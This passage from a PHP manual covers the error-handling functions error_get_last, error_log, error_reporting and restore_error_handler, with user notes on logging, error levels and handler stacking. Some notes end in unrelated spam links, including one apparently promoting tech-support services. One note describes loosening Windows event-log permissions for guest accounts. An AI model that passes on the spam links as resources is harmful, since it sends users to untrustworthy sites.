Will display: array ( 'type' => 8, 'message' => 'Undefined variable: x', 'file' => 'test.php', 'line' => 4, )

<?php
$y = @$x;
$err = error_get_last();
var_export($err);
?>
Will display: array ( 'type' => 8, 'message' => 'Undefined variable: x', 'file' => 'test.php', 'line' => 4, )
scott at eyefruit dot com 25-Jun-2010 01:47
If you have the need to check whether an error was a fatal error  before PHP 5.2 (in my case, within an output buffer handler), you can use the following hack:

<?php
# Check if there was a PHP fatal error.
# Using error_get_last is the "right" way, but it requires PHP 5.2+. The back-up is a hack.
if (function_exists('error_get_last')) {
    $lastPHPError = error_get_last();
    $phpFatalError = isset($lastPHPError) && $lastPHPError['type'] === E_ERROR;
} else {
    $phpFatalError = strstr($output, '<b>Fatal error</b>:') && ! strstr($output, '</html>');
}
?>

This is, of course, language-dependent, so it wouldn't be good in widely-distributed code, but it may help in certain cases (or at least be the base of something that would work).
iant at clickwt dot com 05-Nov-2009 09:13
Beware that registing a shutdown function to catch errors won't work if other shutdown functions throw errors.

<?php

register_shutdown_function('cleanupObjects');
register_shutdown_function('handleFatalPhpError');

function cleanupObjects() {
   trigger_error('An insignificant problem', E_USER_WARNING);
}

function handleFatalPhpError() {
   $last_error = error_get_last();
   if($last_error['type'] === E_ERROR || $last_error['type'] === E_USER_ERROR) {
      echo "Can do custom output and/or logging for fatal error here...";
   }
}

trigger_error('Something serious', E_USER_ERROR);

?>

In the above code, $last_error will contain the warning, becuase cleanupObjects() is called first.
michael at getsprink dot com 10-Aug-2009 10:15
The error_get_last() function will give you the most recent error even when that error is a Fatal error.

Example Usage:

<?php

register_shutdown_function('handleFatalPhpError');

function handleFatalPhpError() {
   $last_error = error_get_last();
   if($last_error['type'] === E_ERROR) {
      echo "Can do custom output and/or logging for fatal error here...";
   }
}

?>
phil at wisb dot net 04-Dec-2008 04:12
While mail at mbaierl dot com makes the point that this function isn't best for reporting the possible error condition of the most recently executed step, there are situations in which it is especially helpful to know the last error—regardless of when it occurred.

As an example, imagine if you had some code that captured the output from dynamic pages, and cached it for faster delivery to subsequent visitors. A final sanity check would be to see if an error has occurred anywhere during the execution of the script. If there has been an error, we probably don't want to cache that page.
Brad 16-Jun-2008 11:54
Like $php_errormsg, the return value of this function may not be updated if a user-defined error handler returns non-FALSE. Tested on PHP 5.2.6.

<?php
var_dump(PHP_VERSION);
// Outputs: string(5) "5.2.6"

@trigger_error("foo");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "foo"

set_error_handler(create_function('$a,$b',''));

@trigger_error("bar");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "foo"

set_error_handler(create_function('$a,$b','return false;'));

@trigger_error("baz");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "baz"
?>
Brad 16-Jun-2008 11:36
It can't be completely reset, but you can "clear" it well enough for all practical purposes:
<?php
@trigger_error("");
// do stuff...
$e=error_get_last();
if($e['message']!==''){
    // An error occurred
}
?>
mail at mbaierl dot com 04-Jun-2008 05:21
This function is pretty useless, as it can not be reset, so there is no way to know if the error really happened on the line before this function call.


发送错误信息到某个地方

  • ? error_get_last
  • error_reporting ?
  • PHP Manual
  • 错误处理 函数
  • 发送错误信息到某个地方

error_log

(PHP 4, PHP 5, PHP 7, PHP 8)

error_log — 发送错误信息到某个地方

说明

error_log(
string $message,
int $message_type = 0,
?string $destination = null,
?string $additional_headers = null
): bool

把错误信息发送到 web 服务器的错误日志，或者到一个文件里。

参数

message

应该被记录的错误信息。

message_type

设置错误应该发送到何处。可能的信息类型有以下几个：

error_log() 日志类型
0 | message 发送到 PHP 的系统日志，使用 操作系统的日志机制或者一个文件，取决于 error_log 指令设置了什么。 这是个默认的选项。
1 | message 发送到参数 destination 设置的邮件地址。 第四个参数 additional_headers 只有在这个类型里才会被用到。
2 | 不再是一个选项。
3 | message 被发送到位置为 destination 的文件里。 字符 message 不会默认被当做新的一行。
4 | message 直接发送到 SAPI 的日志处理程序中。

destination

目标。它的含义描述于以上，由 message_type 参数所决定。

additional_headers

额外的头。当 message_type 设置为 1 的时候使用。 该信息类型使用了 mail() 的同一个内置函数。

返回值

成功时返回 true， 或者在失败时返回 false。如果 message_type 是 0，此函数始终返回 true，无论是否可以记录错误。

更新日志

版本 | 说明
8.0.0 | 现在 destination 和 additional_headers 允许为 null。

示例

Example #1 error_log() 范例

<?php
// 如果无法连接到数据库，发送通知到服务器日志
if (!Ora_Logon($username, $password)) {
error_log("Oracle database not available!", 0);
}

// 如果用尽了 FOO，通过邮件通知管理员
if (!($foo = allocate_new_foo())) {
error_log("Big trouble, we're all out of FOOs!", 1,
"operator@example.com");
}

// 调用 error_log() 的另一种方式:
error_log("You messed up!", 3, "/var/tmp/my-errors.log");
?>

注释

Warning

error_log() 并非二进制安全的。null 字符可能截断 message。

Tip

message 不能包含 null 字符。注意，message 可能会发送到文件、邮件、syslog 等。所以在调用 error_log() 前需要使用适合的转换/转义函数：base64_encode()、rawurlencode() 或 addslashes()。

User Contributed Notes

ccb2357 at gmail dot com 17-Oct-2023 07:48
// Pretty function to log info
<?php
function logger($log, $clear = true){
  file_put_contents('/path/log/logger.log', (is_object($log) || is_array($log) || is_resource($log) ? json_encode($log, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE) : $log), (!$clear) ? FILE_APPEND : 0);
}
Anonymous 06-Nov-2020 08:41
Depending on the error, you may also want to add an error 500 header, and a message for the user:

$message =  'Description of the error.';
error_log($message);
header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500);
exit($message);
russ at russtanner dot com 22-Nov-2019 09:10
You can easily filter messages sent to error_log() using "tail" and "grep" on *nix systems. This makes monitoring debug messages easy to see during development.

Be sure to "tag" your error message with a unique string so you can filter it using "grep":

In your code:

error_log("DevSys1 - FirstName: $FirstName - LastName: $Lastname");

On your command line:

tail -f /var/log/httpd/error_log | grep DevSys1

In this example, we pipe apache log output to grep (STDIN) which filters it for you only showing messages that contain "DevSys1".

The "-f" option means "follow" which streams all new log entries to your terminal or to any piped command that follows, in this case "grep".
Matthew Swift 05-Nov-2019 01:32
Relative paths are accepted as the destination of message_type 3, but beware that the root directory is determined by the context of the call to error_log(), which can change, so that one instance of error_log () in your code can lead to the creation of multiple log files in different locations.

In a WordPress context, the root directory will be the site's root in many cases, but it will be /wp-admin/ for AJAX calls, and a plugin's directory in other cases. If you want all your output to go to one file, use an absolute path.
Sion 18-Oct-2018 02:48
DO NOT try to output TOO LARGE texts in the error_log();

if you try to output massive amounts of texts it will either cut of the text at about 8ooo characters (for reasonable massive strings, < 32 K characters) or (for insanely massive strings, about 1.6 million characters) totally crash without even throwing an error or anything (I even put it in a try/catch without getting any result from the catch).

I had this problem when I tried to debug a response from a wp_remote_get(); all of my error_log() worked as they should, except for ONE of them... (-_-)
After about a day of debugging I finally found out why & that's why I type this.

Apparently the response contained a body with over 1.6 million chars (or bytes? (whatever strlen() returns)).

If you have a string of unknown length, use this:
$start_index = 0;
$end_index = 8000;
error_log( substr( $output_text , $start_index , $end_index ) );
Robert Chapin 03-Oct-2018 11:31
When error_log() unexpectedly uses stdout, you should check if the php.ini value for error_log is empty in your CLI environment.  Something as simple as this might restore expected behavior:

<?php ini_set('error_log', 'error_log'); ?>
roychri at php dot net 25-Apr-2010 09:02
There is a limit on the maximum length that you can pass as the $message.

The default seem to be 1024 but can be changed by adjusting the value of the runtime configuration value of 'log_errors_max_len'.

More details here:
http://www.php.net/manual/en/errorfunc.configuration.php
kevindougans at gmail dot com 24-Feb-2010 02:19
Advice to novices: This function works great along with "tail" which is a unix command to watch a log file live. There are versions of Tail for Windows too, like Tail for Win32 or Kiwi Log Viewer.

Using both error_log() and tail to view the php_error.log you can debug code without having to worry so much about printing debug messages to the screen and who they might be seen by.

Further Note: This works even better when you have two monitors setup. One for your browser and IDE and the other for viewing the log files update live as you go.
daniel dot fukuda at gmail dot com 01-Sep-2009 05:42
If you have a problem with log file permission *silently*
it's best to leave error_log directive unset so errors will be written in your Apache log file for current VirtualHost.
Anonymous 26-Aug-2009 10:22
After scouring the internet for getting event logging to
work in syslog on Windows 2003, I found the following
from this post and was able to successfully get Windows
Event Viewer to log PHP errors/notices:

http://forums.iis.net/p/1159662/1912015.aspx#1913338

   1. Copy the PHP 5 binaries to "C:\php".
   2. Right-click My Computer and select Properties to bring
up the Computer Properties dialog. Switch to the Advanced
tab and click Environment Variables. Find the system
environment variable PATH, edit it and add ";C:\php"
(without the quotes) to the end.
   3. Make sure that the configuration file "php.ini" resides
in the directory "C:\php" and contains the correct path
settings.
   4. DELETE any old "php.ini" files from "C:\WINDOWS"
and other directories.
   5. Open REGEDIT, navigate to the key
"HKLM\SOFTWARE\PHP" and DELETE the string value
"IniFilePath" from there. It is outdated and no longer
necessary!
   6. Modify NTFS security permissions of the directory
"C:\php" to give Read and Execute permissions to (1) the
IIS Guest Account and (2) the group IIS_WPG.
   7. Modify NTFS security permissions of the directories
"C:\php\session" and "C:\php\upload" to give additional
Modify permissions to (1) the IIS Guest Account and (2)
the group IIS_WPG.
   8. Navigate to the registry key
"HKLM\SYSTEM\CurrentControlSet\Services\Eventlog
\Application" and edit the value "CustomSD" there. Find
the substring "(D;;0xf0007;;;BG)" which Denies access to
the application event log for Builtin Guest accounts (like
the IIS Web User account) and replace this substring with
"(A;;0x3;;;BG)" which allows read and write access. Please
pay attention to leave the rest of the security string intact.
Damaging this value can have dangerous effects!
   9. Create or update the registry key
"HKLM\SYSTEM\CurrentControlSet\Services\Eventlog\Application\
PHP-5.2.0" (adapt the last to your version part
if necessary) with the following values:

          * "EventMessageFile" (REG_EXPAND_SZ) = "C:\php\php5ts.dll"

          * "TypesSupported" (REG_DWORD) = 7
eguvenc at gmail dot com 28-Oct-2008 08:03
<?php
//Multiline error log class
// ersin güven? 2008 eguvenc@gmail.com
//For break use "\n" instead '\n'

Class log {
  //
  const USER_ERROR_DIR = '/home/site/error_log/Site_User_errors.log';
  const GENERAL_ERROR_DIR = '/home/site/error_log/Site_General_errors.log';

  /*
   User Errors...
  */
    public function user($msg,$username)
    {
    $date = date('d.m.Y h:i:s');
    $log = $msg."   |  Date:  ".$date."  |  User:  ".$username."\n";
    error_log($log, 3, self::USER_ERROR_DIR);
    }
    /*
   General Errors...
  */
    public function general($msg)
    {
    $date = date('d.m.Y h:i:s');
    $log = $msg."   |  Date:  ".$date."\n";
    error_log($msg."   |  Tarih:  ".$date, 3, self::GENERAL_ERROR_DIR);
    }

}

$log = new log();
$log->user($msg,$username); //use for user errors
//$log->general($msg); //use for general errors
?>
paul dot chubb at abs dot gov dot au 16-Jun-2008 10:37
When logging to apache on windows, both error_log and also trigger_error result in an apache status of error on the front of the message. This is bad if all you want to do is log information. However you can simply log to stderr however you will have to do all message assembly:

LogToApache($Message) {
        $stderr = fopen('php://stderr', 'w');
        fwrite($stderr,$Message);
        fclose($stderr);
}
i dot buttinoni at intandtel dot com 16-Feb-2008 03:32
Be carefull. Unexpected PHP dies when 2GByte of file log reached (on systems having upper file size limit).
A work aorund is rotate logs :)
SJL 31-Dec-2007 06:16
"It appears that the system log = stderr if you are running PHP from the command line"

Actually, it seems that PHP logs to stderr if it can't write to the log file. Command line PHP falls back to stderr because the log file is (usually) only writable by the webserver.
stepheneliotdewey at GmailDotCom 26-Jun-2007 06:05
Note that since typical email is unencrypted, sending data about your errors over email using this function could be considered a security risk. How much of a risk it is depends on how much and what type of information you are sending, but the mere act of sending an email when something happens (even if it cannot be read) could itself imply to a sophisticated hacker observing your site over time that they have managed to cause an error.

Of course, security through obscurity is the weakest kind of security, as most open source supporters will agree. This is just something that you should keep in mind.

And of course, whatever you do, make sure that such emails don't contain sensitive user data.
frank at booksku dot com 02-Nov-2006 03:28
Beware!  If multiple scripts share the same log file, but run as different users, whichever script logs an error first owns the file, and calls to error_log() run as a different user will fail *silently*!

Nothing more frustrating than trying to figure out why all your error_log calls aren't actually writing, than to find it was due to a *silent* permission denied error!
p dot lhonorey at nospam-laposte dot net 28-Aug-2006 03:33
Hi !

Another trick to post "HTML" mail body. Just add "Content-Type: text/html; charset=ISO-8859-1" into extra_header string. Of course you can set charset according to your country or Env or content.

EG: Error_log("<html><h2>stuff</h2></html>",1,"eat@joe.com","subject  :lunch\nContent-Type: text/html; charset=ISO-8859-1");

Enjoy !
php at kennel17 dot NOSPAM dot co dot uk 25-Jul-2005 02:04
It appears that the system log = stderr if you are running PHP from the command line, and that often stderr = stdout.  This means that if you are using a custom error to both display the error and log it to syslog, then a command-line user will see the same error reported twice.
kazezb at nospam dot carleton dot edu 21-Jul-2005 10:39
It appears that error_log() only logs the first line of multi-line log messages. To log a multi-line message, either log each line individually or write the message to another file.
franz at fholzinger dot com 20-Apr-2005 09:21
In the case of missing your entries in the error_log file:
When you use error_log in a script that does not produce any output, which means that you cannot see anything during the execution of the script, and when you wonder why there are no error_log entries produced in your error_log file, the reasons can be:
- you did not configure error_log output in php.ini
- the script has a syntax error and did therefore not execute
28-Mar-2003 02:14
when using error_log to send email, not all elements of an extra_headers string are handled the same way.  "From: " and "Reply-To: " header values will replace the default header values. "Subject: " header values won't: they are *added* to the mail header but don't replace the default, leading to mail messages with two Subject fields.

<?php

error_log("sometext", 1, "zigzag@my.domain",
  "Subject: Foo\nFrom: Rizzlas@my.domain\n");

?>

---------------%<-----------------------
To: zigzag@my.domain
Envelope-to: zigzag@my.domain
Date: Fri, 28 Mar 2003 13:29:02 -0500
From: Rizzlas@my.domain
Subject: PHP error_log message
Subject: Foo
Delivery-date: Fri, 28 Mar 2003 13:29:03 -0500

sometext
---------------%<---------------------

quoth the docs: "This message type uses the same internal function as mail() does."

mail() will also fail to set a Subject field based on extra_header data - instead it takes a seperate argument to specify a "Subject: " string.

php v.4.2.3, SunOS 5.8


设置应该报告何种 PHP 错误

  • ? error_log
  • restore_error_handler ?
  • PHP Manual
  • 错误处理 函数
  • 设置应该报告何种 PHP 错误

error_reporting

(PHP 4, PHP 5, PHP 7, PHP 8)

error_reporting — 设置应该报告何种 PHP 错误

说明

error_reporting(?int $error_level = null): int

error_reporting() 函数能够在运行时设置 error_reporting 指令。 PHP 有诸多错误级别，使用该函数可以设置在脚本运行时的级别。 如果没有设置可选参数 error_level， error_reporting() 仅会返回当前的错误报告级别。

参数

error_level

新的 error_reporting 级别。 可以是一个位掩码也可以是一个已命名的常量。 强烈建议使用已命名的常量，以确保兼容将来的版本。 由于错误级别的添加、整数取值范围的增加， 较久的基于整数的错误级别不会总是和预期的表现一致。

可用的错误级别常量及其实际含义描述在了 predefined constants 中。

返回值

在更改为 error_level 之前返回 error_reporting 级别。

Note: 错误控制 @ 运算符在错误处理期间会更改错误级别。

更新日志

版本 | 说明
8.0.0 | error_level 现在可以为空。

示例

Example #1 error_reporting() 范例

<?php

// 关闭所有PHP错误报告
error_reporting(0);

// Report simple running errors
error_reporting(E_ERROR | E_WARNING | E_PARSE);

// 报告 E_NOTICE也挺好 (报告未初始化的变量
// 或者捕获变量名的错误拼写)
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);

// 除了 E_NOTICE，报告其他所有错误
error_reporting(E_ALL ^ E_NOTICE);

// 报告所有 PHP 错误
error_reporting(E_ALL);

// 报告所有 PHP 错误
error_reporting(-1);

// 和 error_reporting(E_ALL); 一样
ini_set('error_reporting', E_ALL);

?>

注释

Tip

传入 -1 的值将尽可能显示所有错误，甚至包括将来 PHP 可能加入的新的错误级别和常量。常量 E_ALL 有同样的行为。

参见

  • display_errors 指令
  • html_errors 指令
  • xmlrpc_errors 指令
  • 错误控制运算符
  • ini_set() - 为一个配置选项设置值

User Contributed Notes

jcastromail at yahoo dot es 12-Jan-2021 03:01
Under PHP 8.0, error_reporting() does not return 0 when then the code uses a @ character.

For example

<?php

$a=$array[20]; // error_reporting() returns 0 in php <8 and 4437 in PHP>=8

?>
&IT 27-Apr-2020 08:13
error_reporting(E_ALL);
if (!ini_get('display_errors')) {
    ini_set('display_errors', '1');
}
lhenry at lhenry dot com 18-Nov-2019 06:21
In php7,  what was generally a notice or a deprecated is now a warning : the same level of a mysql error ...  unacceptable for me.

I do have dozen of old projects and I surely d'ont want to define every variable which I eventually wrote 20y ago.

So two option: let php7 degrade my expensive SSDs writing Gb/hours or implement smthing like server level monitoring ( with auto_[pre-ap]pend_file in php.ini) and turn off E_WARNING

Custom overriding the level of php errors should be super handy and flexible ...
huhiko334 at yandex dot ru 23-Sep-2018 02:20
If you get a weird mysql warnings like "Warning: mysql_query() : Your query requires a full tablescan...", don't look for error_reporting settings - it's set in php.ini.
You can turn it off with
ini_set("mysql.trace_mode","Off");
in your script
http://tinymy.link/mctct
luisdev 29-May-2018 12:26
This article refers to these two reporting levels:

// Report all PHP errors (see changelog)
error_reporting(E_ALL);

// Report all PHP errors
error_reporting(-1);

What is the difference between those two levels?

Please update this article with a clear explanation of the difference and the possible use cases.
kevinson112 at yahoo dot com 16-Apr-2018 05:34
I had the problem that if there was an error, php would just give me a blank page.  Any error at all forced a blank page instead of any output whatsoever, even though I made sure that I had error_reporting set to E_ALL, display_errors turned on, etc etc.  But simply running the file in a different directory allowed it to show errors!

Turns out that the error_log file in the one directory was full (2.0 Gb).  I erased the file and now errors are displayed normally.  It might also help to turn error logging off.

https://techysupport.co/norton-tech-support/
adam at adamhahn dot com 14-Mar-2017 09:35
To expand upon the note by chris at ocproducts dot com. If you prepend @ to error_reporting(), the function will always return 0.

<?php
error_reporting(E_ALL);
var_dump(
    error_reporting(), // value of E_ALL,
    @error_reporting() // value is 0
);
?>
chris at ocproducts dot com 12-Nov-2016 12:55
The error_reporting() function will return 0 if error suppression is currently active somewhere in the call tree (via the @ operator).
qeremy ! gmail 10-Apr-2015 11:44
If you want to see all errors in your local environment, you can set your project URL like "foo.com.local" locally and put that in bootstrap file.

<?php
if (substr($_SERVER['SERVER_NAME'], -6) == '.local') {
    ini_set('display_errors', 1);
    ini_set('error_reporting', E_ALL);
    // or error_reporting(E_ALL);
}
?>
Rash 03-Jan-2015 05:18
If you are using the PHP development server, run from the command line via `php -S servername:port`, every single error/notice/warning will be reported in the command line itself, with file name, and line number, and stack trace.

So if you want to keep a log of all the errors even after page reloads (for help in debugging, maybe), running the PHP development server can be useful.
forcemdt 01-Oct-2013 07:56
Php >5.4

Creating a Custom Error Handler

set_error_handler("customError",E_ALL);
function customError($errno, $errstr)
  {
  echo "<b>Error:</b> [$errno] $errstr<br>";
  echo "Ending Script";
  die();
  }
teynon1 at gmail dot com 09-Feb-2012 08:50
It might be a good idea to include E_COMPILE_ERROR in error_reporting.

If you have a customer error handler that does not output warnings, you may get a white screen of death if a "require" fails.

Example:
<?php
  error_reporting(E_ERROR | E_WARNING | E_PARSE);

  function myErrorHandler($errno, $errstr, $errfile, $errline) {
    // Do something other than output message.
    return true;
  }

  $old_error_handler = set_error_handler("myErrorHandler");

  require "this file does not exist";
?>

To prevent this, simply include E_COMPILE_ERROR in the error_reporting.

<?php
  error_reporting(E_ERROR | E_WARNING | E_PARSE | E_COMPILE_ERROR);
?>
rojaro at gmail dot com 06-Dec-2010 02:55
To enable error reporting for *ALL* error messages including every error level (including E_STRICT, E_NOTICE etc.), simply use:

<?php error_reporting(-1); ?>
keithm at aoeex dot com 14-Jun-2010 10:23
Some E_STRICT errors seem to be thrown during the page's compilation process.  This means they cannot be disabled by dynamically altering the error level at run time within that page.

The work-around for this was to rename the file and replace the original with a error_reporting() call and then a require() call.

Ex, rename index.php to index.inc.php, then re-create index.php as:

<?php
error_reporting(E_ALL & ~(E_STRICT|E_NOTICE));
require('index.inc.php');
?>

That allows you to alter the error reporting prior to the file being compiled.

I discovered this recently when I was given code from another development firm that triggered several E_STRICT errors and I wanted to disable E_STRICT on a per-page basis.
roberto at spadim dot com dot br 29-Jan-2010 01:00
see more information about php 5.3 deprecated errors

http://php.net/manual/en/migration53.deprecated.php
misplacedme at gmail dot com 09-Jun-2009 02:25
I always code with E_ALL set.
After a couple of pages of
<?php
$username = (isset($_POST['username']) && !empty($_POST['username']))....
?>

I made this function to make things a little bit quicker.  Unset values passed by reference won't trigger a notice.

<?php
function test_ref(&$var,$test_function='',$negate=false) {
    $stat = true;
    if(!isset($var)) $stat = false;
    if (!empty($test_function) && function_exists($test_function)){
        $stat = $test_function($var);
        $stat = ($negate) ? $stat^1 : $stat;
    }
    elseif($test_function == 'empty') {
        $stat = empty($var);
        $stat = ($negate) ? $stat^1 : $stat;
    }
    elseif (!function_exists($test_function)) {
        $stat = false;
        trigger_error("$test_function() is not a valid function");
    }
    $stat = ($stat) ? true : false;
    return $stat;
}
$a = '';
$b = '15';

test_ref($a,'empty',true);  //False
test_ref($a,'is_int');  //False
test_ref($a,'is_numeric');  //False
test_ref($b,'empty',true);  //true
test_ref($b,'is_int');  //False
test_ref($b,'is_numeric');  //false
test_ref($unset,'is_numeric');  //false
test_ref($b,'is_number');  //returns false, with an error.
?>
ecervetti at orupaca dot fr 25-Mar-2009 01:54
It could save two minutes to someone:
E_ALL & ~E_NOTICE  integer value is 6135
Daz Williams (The Northeast) 18-Feb-2009 06:03
Only display php errors to the developer...

<?php
if($_SERVER['REMOTE_ADDR']=="00.00.00.00")
{
  ini_set('display_errors','On');
}
else
{
  ini_set('display_errors','Off');
}
?>

Just replace 00.00.00.00 with your ip address.
info at hephoz dot de 14-Aug-2008 06:34
If you just see a blank page instead of an error reporting and you have no server access so you can't edit php configuration files like php.ini try this:

- create a new file in which you include the faulty script:

<?php
 error_reporting(E_ALL);
 ini_set("display_errors", 1);
 include("file_with_errors.php");
?>

- execute this file instead of the faulty script file

now errors of your faulty script should be reported.
this works fine with me. hope it solves your problem as well!
kc8yds at gmail dot com 10-Aug-2008 11:45
this is to show all errors for code that may be run on different versions

for php 5 it shows E_ALL^E_STRICT and for other versions just E_ALL

if anyone sees any problems with it please correct this post

<?php
ini_set('error_reporting', version_compare(PHP_VERSION,5,'>=') && version_compare(PHP_VERSION,6,'<') ?E_ALL^E_STRICT:E_ALL);
?>
Alex 19-Jan-2007 03:43
error_reporting() may give unexpected results if the @ error suppression directive is used.

<?php
 @include 'config.php';
 include 'foo.bar';        // non-existent file
?>

config.php
<?php
 error_reporting(0);
?>

will throw an error level E_WARNING in relation to the non-existent file (depending of course on your configuration settings).  If the suppressor is removed, this works as expected.

Alternatively using ini_set('display_errors', 0) in config.php will achieve the same result.  This is contrary to the note above which says that the two instructions are equivalent.
dave at davidhbrown dot us 06-Apr-2006 08:51
The example of E_ALL ^ E_NOTICE is a 'bit' confusing for those of us not wholly conversant with bitwise operators.

If you wish to remove notices from the current level, whatever that unknown level might be, use & ~ instead:

<?php
//....
$errorlevel=error_reporting();
error_reporting($errorlevel & ~E_NOTICE);
//...code that generates notices
error_reporting($errorlevel);
//...
?>

^ is the xor (bit flipping) operator and would actually turn notices *on* if they were previously off (in the error level on its left). It works in the example because E_ALL is guaranteed to have the bit for E_NOTICE set, so when ^ flips that bit, it is in fact turned off. & ~ (and not) will always turn off the bits specified by the right-hand parameter, whether or not they were on or off.
DarkGool 19-Aug-2005 10:30
In phpinfo() error reporting level display like a bit (such as 4095)

Maybe it is a simply method to understand what a level set on your host
if you are not have access to php.ini file

<?php
$bit = ini_get('error_reporting');
while ($bit > 0) {
    for($i = 0, $n = 0; $i <= $bit; $i = 1 * pow(2, $n), $n++) {
        $end = $i;
    }
    $res[] = $end;
    $bit = $bit - $end;
}
?>

In $res you will have all constants of error reporting
$res[]=int(16) // E_CORE_ERROR
$res[]=int(8)    // E_NOTICE
...
fredrik at demomusic dot nu 22-Jul-2005 04:24
Remember that the error_reporting value is an integer, not a string ie "E_ALL & ~E_NOTICE".

This is very useful to remember when setting error_reporting levels in httpd.conf:

Use the table above or:

<?php
ini_set("error_reporting", E_YOUR_ERROR_LEVEL);
echo ini_get("error_reporting");
?>

To get the appropriate integer for your error-level. Then use:

php_admin_value error_reporting YOUR_INT

in httpd.conf

I want to share this rather straightforward tip as it is rather annoying for new php users trying to understand why things are not working when the error-level is set to (int) "E_ALL" = 0...

Maybe the PHP-developers should make ie error_reporting("E_ALL"); output a E_NOTICE informative message about the mistake?
vdephily at bluemetrix dot com 22-Feb-2005 03:40
Note that E_NOTICE will warn you about uninitialized variables, but assigning a key/value pair counts as initialization, and will not trigger any error :
<?php
error_reporting(E_ALL);

$foo = $bar; //notice : $bar uninitialized

$bar['foo'] = 'hello'; // no notice, although $bar itself has never been initialized (with "$bar = array()" for example)

$bar = array('foobar' => 'barfoo');
$foo = $bar['foobar'] // ok

$foo = $bar['nope'] // notice : no such index
?>
Fernando Piancastelli 13-Dec-2004 01:23
The error_reporting() function won't be effective if your display_errors directive in php.ini is set to "Off", regardless of level reporting you set. I had to set

display_errors = On
error_reporting = ~E_ALL

to keep no error reporting as default, but be able to change error reporting level in my scripts.
I'm using PHP 4.3.9 and Apache 2.0.
j dot schriver at vindiou dot com 02-Oct-2000 11:37
error_reporting() has no effect if you have defined your own error handler with set_error_handler()

[Editor's Note: This is not quite accurate.

E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR and E_COMPILE_WARNING error levels will be handled as per the error_reporting settings.

All other levels of errors will be passed to the custom error handler defined by set_error_handler().

Zeev Suraski suggests that a simple way to use the defined levels of error reporting with your custom error handlers is to add the following line to the top of your error handling function:

if (!($type & error_reporting())) return;

 -zak@php.net]


还原之前的错误处理函数

  • ? error_reporting
  • restore_exception_handler ?
  • PHP Manual
  • 错误处理 函数
  • 还原之前的错误处理函数

restore_error_handler

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

restore_error_handler — 还原之前的错误处理函数

说明

restore_error_handler(): true

在使用 set_error_handler() 改变错误处理函数之后，此函数可以 用于还原之前的错误处理程序(可以是内置的或者也可以是用户所定义的函数)。

参数

此函数没有参数。

返回值

总是返回 true。

示例

Example #1 restore_error_handler() 范例

如果是 unserialize() 导致了一个错误，接下来 会恢复原来的错误处理函数。

<?php
function unserialize_handler($errno, $errstr)
{
echo "Invalid serialized value.\n";
}

$serialized = 'foo';
set_error_handler('unserialize_handler');
$original = unserialize($serialized);
restore_error_handler();
?>

以上示例会输出：

Invalid serialized value.

参见

  • error_reporting() - 设置应该报告何种 PHP 错误
  • set_error_handler() - 设置用户自定义的错误处理函数
  • restore_exception_handler() - 恢复之前定义过的异常处理函数。
  • trigger_error() - 产生一个用户级别的 error/warning/notice 信息

User Contributed Notes

masterada at gmail dot com 27-Mar-2017 01:45
Calling restore_error_handler from within an error handler might result in unexpected behaviour:

<?php
error_reporting(0);

set_error_handler('handleError1');
trigger_error('1-stack:h1');

set_error_handler('handleError2');
trigger_error('2-stack:h1,h2');

trigger_error('6-stack:h1,h2');
trigger_error('7-stack:h1,h2');

function handleError1($code, $message, $file = '', $line = 0, $context = array())
{
    echo  __METHOD__ . ' ' . $message . PHP_EOL;
}

function handleError2($code, $message, $file = '', $line = 0, $context = array())
{
    trigger_error('3-DEFAULT'); // This will use the php's default error handler

    echo  __METHOD__ . ' ' . $message . PHP_EOL;

    set_error_handler('handleError3');
    trigger_error('4-stack:h1,h2,h3');

    restore_error_handler(); // This will restore the handleError1 instead of the default error handler
    trigger_error('5-DEFAULT');
}

function handleError3($code, $message, $file = '', $line = 0, $context = array())
{
    echo  __METHOD__ . ' ' . $message . PHP_EOL;
}

?>

The above code will output:

handleError1 1-stack:h1
handleError2 2-stack:h1,h2
handleError3 4-stack:h1,h2,h3
handleError1 5-DEFAULT
handleError1 6-stack:h1,h2
handleError1 7-stack:h1,h2

The following workaround can be used:

<?php

error_reporting(0);

set_error_handler('handleError1');
trigger_error('1-stack:h1');

set_error_handler('handleError2');
trigger_error('2-stack:h1,h2');

trigger_error('6-stack:h1,h2');
trigger_error('7-stack:h1,h2');

function handleError1($code, $message, $file = '', $line = 0, $context = array())
{
    echo __METHOD__ . ' ' . $message . PHP_EOL;
}

function handleError2($code, $message, $file = '', $line = 0, $context = [])
{
    restore_error_handler(); // This will restore the previous error handler
    set_error_handler('count', 0); // Set a dummy method for error handling, it will never be called because $error_type = 0
    try
    {
        trigger_error('3-DEFAULT');

        echo __METHOD__ . ' ' . $message . PHP_EOL;

        set_error_handler('handleError3');
        trigger_error('4-stack:h1,h2,h3');

        restore_error_handler();
        trigger_error('5-DEFAULT');
    }
    finally
    {
        restore_error_handler(); // Restore the previous error handler
        set_error_handler('handleError2'); // Set the current error handler again
    }
}

function handleError3($code, $message, $file = '', $line = 0, $context = [])
{
    echo __METHOD__ . ' ' . $message . PHP_EOL;
}
?>

which will output:

handleError1 1-stack:h1
handleError2 2-stack:h1,h2
handleError3 4-stack:h1,h2,h3
handleError2 6-stack:h1,h2
handleError3 4-stack:h1,h2,h3
handleError2 7-stack:h1,h2
handleError3 4-stack:h1,h2,h3
TiMESPLiNTER 27-Apr-2015 10:39
Works also for restoring nested error handlers:

<?php

error_reporting(E_ALL);

echo '<pre>';

set_error_handler(function($errno, $errstr, $errfile, $errline, array $errcontext) {
    echo 'ErrorHandler 1: ' , $errstr , PHP_EOL;
});

trigger_error('Error 1');

set_error_handler(function($errno, $errstr, $errfile, $errline, array $errcontext) {
    echo 'ErrorHandler 2: ' , $errstr , PHP_EOL;
});

trigger_error('Error 2');

restore_error_handler();

trigger_error('Error 3');

restore_error_handler();

trigger_error('Error 4');

?>
edgarinvillegas at hotmail dot com 28-Mar-2008 08:21
Isolde is kind of wrong. The error handlers are stacked with set_error_handler(), and popped with restore_error_handler(). Here i put an example:

<?php
    mysql_connect("inexistent"); //Generate an error. The actual error handler is set by default

    function foo1() {echo "<br>Error foo1<br>";}
    function foo2() {echo "<br>Error foo2<br>";}
    function foo3() {echo "<br>Error foo3<br>";}

